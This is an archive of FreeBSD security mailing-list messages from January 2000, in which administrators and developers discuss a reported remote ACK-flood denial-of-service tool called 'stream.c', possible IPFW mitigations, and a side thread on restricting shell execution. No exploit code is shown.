source, which I'm not going to post for 2-3 days (give time for >fbsd to work on the fix). If it isn't out before the 21st, I'll post it up. ------------------------------------------------------------------------ Mike Tancsa, tel +1 519 651 3400 Network Administrator, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 12:34:56 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail2.uniserve.com (mail2.uniserve.com [204.244.156.7]) by hub.freebsd.org (Postfix) with ESMTP id 4029115355; Thu, 20 Jan 2000 12:34:50 -0800 (PST) (envelope-from tom@uniserve.com) Received: from shell.uniserve.ca ([204.244.186.218]) by mail2.uniserve.com with smtp (Exim 3.03 #4) id 12BOI4-0006ns-00; Thu, 20 Jan 2000 12:34:48 -0800 Date: Thu, 20 Jan 2000 12:34:45 -0800 (PST) From: Tom X-Sender: tom@shell.uniserve.ca To: Mike Tancsa Cc: freebsd-security@freebsd.org, freebsd-stable@freebsd.org, security-officer@freebsd.org Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-Reply-To: <3.0.5.32.20000120152818.01d7fa40@staff.sentex.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 20 Jan 2000, Mike Tancsa wrote: > Can anyone confirm the bugtraq posting ? Are the freebsd folks working on > a fix ? If so, what versions are effected ? > > ---Mike > > >The only log that he could provide was this one: > > > >---snip--- > > > >syslog:Jan 18 12:30:36 x kernel: Kernel panic: Free list empty > > > >---snip--- > > > >One thing of note: he also stated this happened on non-freebsd systems, > >which is contrary to what the other person said, who was "under the > >impression it was freebsd specific." > > > >I have the source, which I'm not going to post for 2-3 days (give time for > >fbsd to work on the fix). If it isn't out before the 21st, I'll post it up. Uhh.. there isn't enough information here to determine anything. > ------------------------------------------------------------------------ > Mike Tancsa, tel +1 519 651 3400 > Network Administrator, mike@sentex.net > Sentex Communications www.sentex.net > Cambridge, Ontario Canada Tom Uniserve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 12:36: 2 2000 Delivered-To: freebsd-security@freebsd.org Received: from sivka.rdy.com (sivka.rdy.com [207.33.166.86]) by hub.freebsd.org (Postfix) with ESMTP id 63BB314DA0; Thu, 20 Jan 2000 12:35:58 -0800 (PST) (envelope-from dima@rdy.com) Received: (from dima@localhost) by sivka.rdy.com (8.9.3/8.9.3) id MAA54949; Thu, 20 Jan 2000 12:35:18 -0800 (PST) (envelope-from dima) Message-Id: <200001202035.MAA54949@sivka.rdy.com> Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-Reply-To: <3.0.5.32.20000120152818.01d7fa40@staff.sentex.ca> from Mike Tancsa at "Jan 20, 2000 03:28:18 pm" To: Mike Tancsa Date: Thu, 20 Jan 2000 12:35:18 -0800 (PST) Cc: freebsd-security@freebsd.org, freebsd-stable@freebsd.org, security-officer@freebsd.org Organization: HackerDome Reply-To: dima@rdy.com From: dima@rdy.com (Dima Ruban) X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mike Tancsa writes: > > Can anyone confirm the bugtraq posting ? Are the freebsd folks working on > a fix ? If so, what versions are effected ? I personaly haven't seen the code in question, but I've heard that this problem is not FreeBSD specific (Linux,Solaris,OpenBSD,etc etc etc are all affected). And due to the nature of the problem it won't be easy to fix it. > ---Mike > > >The only log that he could provide was this one: > > > >---snip--- > > > >syslog:Jan 18 12:30:36 x kernel: Kernel panic: Free list empty > > > >---snip--- > > > >One thing of note: he also stated this happened on non-freebsd systems, > >which is contrary to what the other person said, who was "under the > >impression it was freebsd specific." > > > >I have the source, which I'm not going to post for 2-3 days (give time for > >fbsd to work on the fix). If it isn't out before the 21st, I'll post it up. > > > ------------------------------------------------------------------------ > Mike Tancsa, tel +1 519 651 3400 > Network Administrator, mike@sentex.net > Sentex Communications www.sentex.net > Cambridge, Ontario Canada > -- dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 12:38:51 2000 Delivered-To: freebsd-security@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 9F74C1522C; Thu, 20 Jan 2000 12:38:42 -0800 (PST) (envelope-from dwmalone@maths.tcd.ie) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 20 Jan 2000 20:38:41 +0000 (GMT) Date: Thu, 20 Jan 2000 20:38:40 +0000 From: David Malone To: Mike Tancsa Cc: freebsd-security@freebsd.org, freebsd-stable@freebsd.org, security-officer@freebsd.org Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Message-ID: <20000120203840.A49511@walton.maths.tcd.ie> References: <3.0.5.32.20000120152818.01d7fa40@staff.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <3.0.5.32.20000120152818.01d7fa40@staff.sentex.ca>; from mike@sentex.net on Thu, Jan 20, 2000 at 03:28:18PM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Jan 20, 2000 at 03:28:18PM -0500, Mike Tancsa wrote: > > Can anyone confirm the bugtraq posting ? Are the freebsd folks working on > a fix ? If so, what versions are effected ? It was mentioned on freebsd-net a few days ago. Jordan said someone was working on a fix. The kernel message mentioned seems to only occur in an old sound driver: % find . -type f -print | xargs fgrep -i "list empty" ./i386/isa/sound/gustest/Attic/midithru.c,v: if (!nlen) {fprintf(stderr, "Free list empty but no notes playing\n");return;} /* No notes playing */ Which seems unlikely to be involved with the attack. David. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 12:40: 4 2000 Delivered-To: freebsd-security@freebsd.org Received: from vinyl.sentex.ca (vinyl.sentex.ca [209.112.4.14]) by hub.freebsd.org (Postfix) with ESMTP id 73F13152D3; Thu, 20 Jan 2000 12:39:56 -0800 (PST) (envelope-from mike@sentex.net) Received: from simoeon (simeon.sentex.ca [209.112.4.47]) by vinyl.sentex.ca (8.9.3/8.9.3) with SMTP id PAA32223; Thu, 20 Jan 2000 15:39:54 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <3.0.5.32.20000120153724.0206a850@staff.sentex.ca> X-Sender: mdtpop@staff.sentex.ca X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Thu, 20 Jan 2000 15:37:24 -0500 To: Tom From: Mike Tancsa Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: freebsd-security@freebsd.org, freebsd-stable@freebsd.org, security-officer@freebsd.org In-Reply-To: References: <3.0.5.32.20000120152818.01d7fa40@staff.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 12:34 PM 1/20/00 -0800, Tom wrote: > Uhh.. there isn't enough information here to determine anything. That was only a snippet. The poster claims to have contacted the freebsd team and that they were working on it... I just wanted to know if this were the case. Another snippet of the post below. I didnt want to blurt the whole bugtraq posting, as I suspect most people are already subscribed to it. >One thing of note: he also stated this happened on non-freebsd systems, >which is contrary to what the other person said, who was "under the >impression it was freebsd specific." > >I have the source, which I'm not going to post for 2-3 days (give time for >fbsd to work on the fix). If it isn't out before the 21st, I'll post it up. > > ---Mike ------------------------------------------------------------------------ Mike Tancsa, tel +1 519 651 3400 Network Administrator, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 12:41:27 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id EC2BC15444; Thu, 20 Jan 2000 12:40:58 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id NAA79777; Thu, 20 Jan 2000 13:40:30 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id NAA04465; Thu, 20 Jan 2000 13:40:23 -0700 (MST) Message-Id: <200001202040.NAA04465@harmony.village.org> To: Mike Tancsa Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: freebsd-security@freebsd.org, freebsd-stable@freebsd.org, security-officer@freebsd.org In-reply-to: Your message of "Thu, 20 Jan 2000 15:28:18 EST." <3.0.5.32.20000120152818.01d7fa40@staff.sentex.ca> References: <3.0.5.32.20000120152818.01d7fa40@staff.sentex.ca> Date: Thu, 20 Jan 2000 13:40:23 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- In message <3.0.5.32.20000120152818.01d7fa40@staff.sentex.ca> Mike Tancsa writes: : Can anyone confirm the bugtraq posting ? Are the freebsd folks working on : a fix ? If so, what versions are effected ? All versions of every os on the planet is affected, at least that's the very preliminary indications that I've been getting from people reporting to me on the bug. There is no easy fix and attacks a flaw in the TCP/IP protocol. If this turns out not to be the case, then I'll update people. Warner -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBOIdys9xynu/2qPVhAQEm5gP+KIbAeBdVgA0u7Itza314xTZ1CA1o7UJ2 GwRYMpIlmT+xz8AiBtJghdCZT18CSyR839FyjUTXGGWpj6sTL8AEQ40QD3PrMUzD Q30kxO3swZmXJapJjjhLhEe5+8HKAjAjByDXXwBOcrX9W3a36LhWPmhzs7z1Jo+r po3+GNcKWmU= =qBqL -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 12:58:14 2000 Delivered-To: freebsd-security@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 3790C14ECA for ; Thu, 20 Jan 2000 12:58:11 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (jkh@localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id MAA17652; Thu, 20 Jan 2000 12:57:38 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) To: Tom Cc: Mike Tancsa , freebsd-security@freebsd.org Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-reply-to: Your message of "Thu, 20 Jan 2000 12:34:45 PST." Date: Thu, 20 Jan 2000 12:57:38 -0800 Message-ID: <17649.948401858@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Um, guys, can you please not cross-post to 3 different places with this thread? It's an important topic but I don't need to see 3 copies of all correspondence in my mailbox, I get enough spam already. :( - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 13: 0: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by hub.freebsd.org (Postfix) with ESMTP id 8060715392; Thu, 20 Jan 2000 12:59:41 -0800 (PST) (envelope-from sean@innu.org) Received: from innu.org (bsg-ma1a-66.ix.netcom.com [209.110.248.66]) by smtp6.mindspring.com (8.9.3/8.8.5) with ESMTP id PAA18845; Thu, 20 Jan 2000 15:59:26 -0500 (EST) Message-ID: <3887BD39.2FE8E40A@innu.org> Date: Thu, 20 Jan 2000 20:58:18 -0500 From: Sean Trifero X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.14 i586) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-security@freebsd.org, freebsd-stable@freebsd.org, security-officer@freebsd.org Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? References: <200001202035.MAA54949@sivka.rdy.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is on a Linux 2.2.14 system. /usr/src/linux/fs/buffer.c: panic("Free list empty"); Sean Trifero Dima Ruban wrote: > Mike Tancsa writes: > > > > Can anyone confirm the bugtraq posting ? Are the freebsd folks working on > > a fix ? If so, what versions are effected ? > > I personaly haven't seen the code in question, but I've heard that > this problem is not FreeBSD specific (Linux,Solaris,OpenBSD,etc etc etc > are all affected). And due to the nature of the problem it won't be easy to > fix it. > > > ---Mike > > > > >The only log that he could provide was this one: > > > > > >---snip--- > > > > > >syslog:Jan 18 12:30:36 x kernel: Kernel panic: Free list empty > > > > > >---snip--- > > > > > >One thing of note: he also stated this happened on non-freebsd systems, > > >which is contrary to what the other person said, who was "under the > > >impression it was freebsd specific." > > > > > >I have the source, which I'm not going to post for 2-3 days (give time for > > >fbsd to work on the fix). If it isn't out before the 21st, I'll post it up. > > > > > > ------------------------------------------------------------------------ > > Mike Tancsa, tel +1 519 651 3400 > > Network Administrator, mike@sentex.net > > Sentex Communications www.sentex.net > > Cambridge, Ontario Canada > > > > -- dima > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 13:10: 6 2000 Delivered-To: freebsd-security@freebsd.org Received: from x.arpa.com (x.arpa.com [199.245.173.5]) by hub.freebsd.org (Postfix) with ESMTP id 46AD814F1C; Thu, 20 Jan 2000 13:09:53 -0800 (PST) (envelope-from jamie@arpa.com) Received: from jamie by x.arpa.com with local (Exim 2.05 #1 (Debian)) id 12BOpt-0006oz-00; Thu, 20 Jan 2000 13:09:45 -0800 Date: Thu, 20 Jan 2000 13:09:45 -0800 From: jamiE rishaw - master e*tard To: Tom Cc: Mike Tancsa , freebsd-security@freebsd.org, freebsd-stable@freebsd.org, security-officer@freebsd.org Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Message-ID: <20000120130945.B24082@x.arpa.com> References: <3.0.5.32.20000120152818.01d7fa40@staff.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from tom@uniserve.com on Thu, Jan 20, 2000 at 12:34:45PM -0800 X-Face: d=) RFC_Violation: You saw it here first! X-PGP-Fingerprint: <921C135D> C4 48 1B 26 18 7B 1F D9 BA C4 9C 7A B1 07 07 E8 X-No-Archive: Yes Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I have a copy of this, which I am not giving out. I will probably fire one off to jkh for sanity, but this looks like a really tough one to handle. The program basically fires off *loads* of pkts/sec of ACK at the victim host.. random source, blah blah. The problem is, the kernel already (from my understanding) drops bad ACKs pretty quickly. The thing is, tho, that it's kernel bound.. which means CPU.. so unless you have tons of extra CPU to spare, this attack will take your system to a "pause" until the attacker ceases. The only way to trace this attack is same as a SYN or smurf attack: to reverse flow "trace", which requires experienced backbone engineers and cooperation of sometimes multiple providers. I duno. We'll see. -jamie On Thu, Jan 20, 2000 at 12:34:45PM -0800, Tom wrote: > > On Thu, 20 Jan 2000, Mike Tancsa wrote: > > > Can anyone confirm the bugtraq posting ? Are the freebsd folks working on > > a fix ? If so, what versions are effected ? > > > > ---Mike > > > > >The only log that he could provide was this one: > > > > > >---snip--- > > > > > >syslog:Jan 18 12:30:36 x kernel: Kernel panic: Free list empty > > > > > >---snip--- > > > > > >One thing of note: he also stated this happened on non-freebsd systems, > > >which is contrary to what the other person said, who was "under the > > >impression it was freebsd specific." > > > > > >I have the source, which I'm not going to post for 2-3 days (give time for > > >fbsd to work on the fix). If it isn't out before the 21st, I'll post it up. > > > Uhh.. there isn't enough information here to determine anything. > > > > ------------------------------------------------------------------------ > > Mike Tancsa, tel +1 519 651 3400 > > Network Administrator, mike@sentex.net > > Sentex Communications www.sentex.net > > Cambridge, Ontario Canada > > > Tom > Uniserve > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- i am jamie at arpa dot com this is a no plur zone. "silly raver, k is for cats!" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 13:11: 2 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 3C3AD1546D; Thu, 20 Jan 2000 13:10:54 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id OAA79922; Thu, 20 Jan 2000 14:10:49 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id OAA04699; Thu, 20 Jan 2000 14:10:42 -0700 (MST) Message-Id: <200001202110.OAA04699@harmony.village.org> To: Mike Tancsa Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: Tom , freebsd-security@freebsd.org, freebsd-stable@freebsd.org, security-officer@freebsd.org In-reply-to: Your message of "Thu, 20 Jan 2000 15:37:24 EST." <3.0.5.32.20000120153724.0206a850@staff.sentex.ca> References: <3.0.5.32.20000120153724.0206a850@staff.sentex.ca> <3.0.5.32.20000120152818.01d7fa40@staff.sentex.ca> Date: Thu, 20 Jan 2000 14:10:42 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <3.0.5.32.20000120153724.0206a850@staff.sentex.ca> Mike Tancsa writes: : That was only a snippet. The poster claims to have contacted the freebsd : team and that they were working on it... I just wanted to know if this were : the case. We have the code and it isn't FreeBSD specific. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 13:13:37 2000 Delivered-To: freebsd-security@freebsd.org Received: from x.arpa.com (x.arpa.com [199.245.173.5]) by hub.freebsd.org (Postfix) with ESMTP id EC43F15386; Thu, 20 Jan 2000 13:13:30 -0800 (PST) (envelope-from jamie@arpa.com) Received: from jamie by x.arpa.com with local (Exim 2.05 #1 (Debian)) id 12BOtF-0006qN-00; Thu, 20 Jan 2000 13:13:13 -0800 Date: Thu, 20 Jan 2000 13:13:13 -0800 From: jamiE rishaw - master e*tard To: Sean Trifero Cc: freebsd-security@freebsd.org, freebsd-stable@freebsd.org, security-officer@freebsd.org Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Message-ID: <20000120131313.D24082@x.arpa.com> References: <200001202035.MAA54949@sivka.rdy.com> <3887BD39.2FE8E40A@innu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <3887BD39.2FE8E40A@innu.org>; from sean@innu.org on Thu, Jan 20, 2000 at 08:58:18PM -0500 X-Face: d=) RFC_Violation: You saw it here first! X-PGP-Fingerprint: <921C135D> C4 48 1B 26 18 7B 1F D9 BA C4 9C 7A B1 07 07 E8 X-No-Archive: Yes Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The poster got his info from me. That was my box (x.arpa.com) that he pasted syslog from that I pasted to him. I have no sound hardware :) It's not a FBSD system.. It's Linux 2.x Tho I do have and run FBSD boxen and see the same result. Regards -jamie On Thu, Jan 20, 2000 at 08:58:18PM -0500, Sean Trifero wrote: > > This is on a Linux 2.2.14 system. > > /usr/src/linux/fs/buffer.c: panic("Free list empty"); > > > Sean Trifero > > Dima Ruban wrote: > > > Mike Tancsa writes: > > > > > > Can anyone confirm the bugtraq posting ? Are the freebsd folks working on > > > a fix ? If so, what versions are effected ? > > > > I personaly haven't seen the code in question, but I've heard that > > this problem is not FreeBSD specific (Linux,Solaris,OpenBSD,etc etc etc > > are all affected). And due to the nature of the problem it won't be easy to > > fix it. > > > > > ---Mike > > > > > > >The only log that he could provide was this one: > > > > > > > >---snip--- > > > > > > > >syslog:Jan 18 12:30:36 x kernel: Kernel panic: Free list empty > > > > > > > >---snip--- > > > > > > > >One thing of note: he also stated this happened on non-freebsd systems, > > > >which is contrary to what the other person said, who was "under the > > > >impression it was freebsd specific." > > > > > > > >I have the source, which I'm not going to post for 2-3 days (give time for > > > >fbsd to work on the fix). If it isn't out before the 21st, I'll post it up. > > > > > > > > > ------------------------------------------------------------------------ > > > Mike Tancsa, tel +1 519 651 3400 > > > Network Administrator, mike@sentex.net > > > Sentex Communications www.sentex.net > > > Cambridge, Ontario Canada > > > > > > > -- dima > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- i am jamie at arpa dot com this is a no plur zone. "silly raver, k is for cats!" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 14:56:14 2000 Delivered-To: freebsd-security@freebsd.org Received: from mx2.x-treme.gr (mx2.x-treme.gr [212.120.192.15]) by hub.freebsd.org (Postfix) with ESMTP id A308D15376 for ; Thu, 20 Jan 2000 14:56:06 -0800 (PST) (envelope-from keramida@diogenis.ceid.upatras.gr) Received: from localhost.hell.gr (pat8.x-treme.gr [212.120.197.200]) by mx2.x-treme.gr (8.9.3/8.9.3/IPNG-ADV-ANTISPAM-0.1) with ESMTP id AAA15161; Fri, 21 Jan 2000 00:55:52 +0200 Received: (from charon@localhost) by localhost.hell.gr (8.9.3/8.9.3) id OAA00751; Thu, 20 Jan 2000 14:53:45 +0200 (EET) (envelope-from keramida@diogenis.ceid.upatras.gr) Date: Thu, 20 Jan 2000 14:53:44 +0200 From: Giorgos Keramidas To: Spidey Cc: Omachonu Ogali , Alexander Langer , Jonathan Fortin , freebsd-security@FreeBSD.ORG Subject: Re: sh? Message-ID: <20000120145344.A352@hades.hell.gr> Reply-To: keramida@ceid.upatras.gr References: <14467.56256.337327.619067@anarcat.dyndns.org> <14470.2714.445315.624901@anarcat.dyndns.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <14470.2714.445315.624901@anarcat.dyndns.org> X-PGP-Fingerprint: 62 45 D1 C9 26 F9 95 06 D6 21 2A C8 8C 16 C0 8E Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Jan 19, 2000 at 02:03:54PM -0500, Spidey wrote: > > Yes, but you'll have to patch every single shell... Unless the > attacker is not aware of the mesure. It is too simple to change an > exploit code to use (say) csh instead of sh. Even then, one could > exploit other executables. And then, there is perl, awk, sed, hell even ghostscript can be used to read from and write to files. I think that by trying to patch the programs themselves to avoid execution of certain programs, we're trying to solve the specific instance, forgetting about the general case. > I would favor more the idea of implementing this in the kernel... ACLs would be nice, thank you. Ciao. -- Giorgos Keramidas, < keramida @ ceid . upatras . gr > "Don't let your schooling interfere with your education." [Mark Twain] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 16:32:30 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 8847D14C9E; Thu, 20 Jan 2000 16:32:23 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id RAA11281; Thu, 20 Jan 2000 17:32:04 -0700 (MST) Message-Id: <4.2.2.20000120172607.0198f1e0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Jan 2000 17:32:03 -0700 To: jamiE rishaw - master e*tard , Tom From: Brett Glass Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: Mike Tancsa , freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, security-officer@FreeBSD.ORG In-Reply-To: <20000120130945.B24082@x.arpa.com> References: <3.0.5.32.20000120152818.01d7fa40@staff.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 02:09 PM 1/20/2000 , jamiE rishaw - master e*tard wrote: >I have a copy of this, which I am not giving out. I will probably >fire one off to jkh for sanity, I've been a good boy, so I hope that, er, Sanity doesn't come down the chimney of any of the systems I administer before there's a patch! ;-) >but this looks like a really tough one >to handle. > >The program basically fires off *loads* of pkts/sec of ACK at the victim >host.. random source, blah blah. > >The problem is, the kernel already (from my understanding) drops bad ACKs >pretty quickly. The thing is, tho, that it's kernel bound.. which means >CPU.. so unless you have tons of extra CPU to spare, this attack will >take your system to a "pause" until the attacker ceases. The name "stream.c" makes it sound like a local, not remote, DoS. Does it have to be done from inside the system to be effective? I would think that, if it came from the outside, it'd be harder to saturate the victim. I can think of ways to filter this by adding some stuff to IPFW. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 16:34:44 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 965AF154E5; Thu, 20 Jan 2000 16:34:33 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id RAA80992; Thu, 20 Jan 2000 17:34:31 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id RAA06762; Thu, 20 Jan 2000 17:34:26 -0700 (MST) Message-Id: <200001210034.RAA06762@harmony.village.org> To: Brett Glass Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: jamiE rishaw - master e*tard , Tom , Mike Tancsa , freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, security-officer@FreeBSD.ORG In-reply-to: Your message of "Thu, 20 Jan 2000 17:32:03 MST." <4.2.2.20000120172607.0198f1e0@localhost> References: <4.2.2.20000120172607.0198f1e0@localhost> <3.0.5.32.20000120152818.01d7fa40@staff.sentex.ca> Date: Thu, 20 Jan 2000 17:34:26 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <4.2.2.20000120172607.0198f1e0@localhost> Brett Glass writes: : The name "stream.c" makes it sound like a local, not remote, DoS. Does : it have to be done from inside the system to be effective? I would think : that, if it came from the outside, it'd be harder to saturate the : victim. It is a remote exploit. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 16:38:41 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 23818153FA; Thu, 20 Jan 2000 16:38:34 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id RAA11362; Thu, 20 Jan 2000 17:38:15 -0700 (MST) Message-Id: <4.2.2.20000120173540.01a26100@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Jan 2000 17:38:13 -0700 To: Warner Losh From: Brett Glass Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: jamiE rishaw - master e*tard , Tom , Mike Tancsa , freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, security-officer@FreeBSD.ORG In-Reply-To: <200001210034.RAA06762@harmony.village.org> References: <4.2.2.20000120172607.0198f1e0@localhost> <3.0.5.32.20000120152818.01d7fa40@staff.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hmmm. I haven't started at the stack to see if this is feasible, but can't the code that implements IPFW's "established" keyword be used to discard the ACK if it isn't associated with an active session? --Brett At 05:34 PM 1/20/2000 , Warner Losh wrote: >It is a remote exploit. > >Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 16:40:36 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 469B415472; Thu, 20 Jan 2000 16:40:32 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id 